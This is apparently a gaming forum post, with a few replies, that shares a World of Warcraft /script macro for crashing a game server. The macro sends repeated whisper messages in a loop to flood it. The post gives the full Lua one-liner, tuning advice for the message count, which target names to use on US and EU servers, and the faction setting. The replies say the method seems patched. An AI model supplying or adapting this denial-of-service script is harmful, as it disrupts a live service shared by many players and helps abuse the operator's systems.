First, get on whoever you want.
Type: /w bemfive hey
Type: /script t=0;z=10;CreateFrame(“frame”):SetScript(“OnUpdate”, function(s,e) if t>1 then for i=0,10000 do SendChatMessage(“_G”,”WHISPER”,”ORCISH”,”Bemfive”)end;if z>1 then t=0 else z=z-1 end elseif z>1 then t=t+e end end)
Watch the fireworks. (BTW: It turns out my laptop cannot handle this and fires “NetClient:: HandleDisconnect”. So you need a powerful computer to outlast the server. Works best on high or full servers.)
Reasons: Well, bemfive can be whispered on a trial account because its an addonchannel for WoW, anyone can access it. You send millions of requests to the server that need to be accepted, and replied to, by the server itself. If it isn’t strong enough, try changing the 10000 to 50000, and if it DC’s you too early, try using 8000, or 6000.
Worse comes to worse, I discovered there is an unlimited amount of whispers allowed to be sent to yourself. Simply change, “Bemfive” with “whateveryournameis”, and start whispering =). And of course, when you let an ‘unlimited’ amount of messages be sent though the server, it’s ALWAYS possible to overload it.
This is the method to crash a US server. If you’re on EU try whispering bemone.
EDIT: Where you see “ORCISH” in the macro, thats for horde. I almost forget. If you’re alliance put “COMMON”. That will make it work. Geez, I’m forgetting a few important things lol.
They seem to have found a way of stopping this DOS attack already.
THey make 120 million US dollars a MONTH from subs alone (never mind game sales).
They can afford some decent server security
When i try to do it…after cca 10 minutes my computer shutdown…and when i log in back..my macro was deleted..
